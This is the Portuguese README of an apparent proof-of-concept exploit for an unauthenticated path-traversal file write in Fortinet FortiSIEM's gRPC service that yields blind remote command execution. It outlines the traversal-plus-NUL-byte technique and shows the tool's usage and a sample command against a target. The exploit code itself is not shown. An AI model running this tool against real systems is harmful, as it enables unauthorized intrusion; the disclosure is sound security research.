
Prova de conceito em Python para o CVE-2026-106173, uma gravação de arquivo por path traversal não autenticado via gRPC no Fortinet FortiSIEM que possibilita execução remota de comandos às cegas.
Este repositório contém uma prova de conceito para o CVE-2026-106173, uma vulnerabilidade de execução remota de código não autenticada no Fortinet FortiSIEM.
O manipulador QueryResultReq do gRPC do FortiSIEM processa metadados não confiáveis sem a devida validação de caminho. Ao criar metadados contendo tanto sequências de path traversal (../) quanto injeção de byte NUL nas camadas de codificação HTTP/2 e HPACK do gRPC, um atacante pode gravar arquivos arbitrários no sistema de arquivos.
A análise técnica cobrindo a causa raiz, os detalhes da exploração e os indicadores de comprometimento está disponível no blog de pesquisa de ataques da Horizon3.ai:
% python3 CVE-2026-106173.py -h
usage: CVE-2026-106173.py [-h] -t TARGET [-c COMMAND] [-p PORT] [--plaintext]
[--dry-run]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
IP or hostname of the FortiSIEM instance
-c COMMAND, --command COMMAND
Command to execute on the target
-p PORT, --port PORT FortiSIEM gRPC port (default: 27918)
--plaintext Use HTTP/2 without TLS
--dry-run Display the request without sending
Execute um comando arbitrário:
python3 CVE-2026-106173.py -t 10.0.18.x -c 'id'
NOTA: A execução é cega e leva até 60 segundos para que o cron job dispare a execução do script que sobrescrevemos.
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado." Os mantenedores do projeto não assumem qualquer responsabilidade por uso indevido. Use com responsabilidade.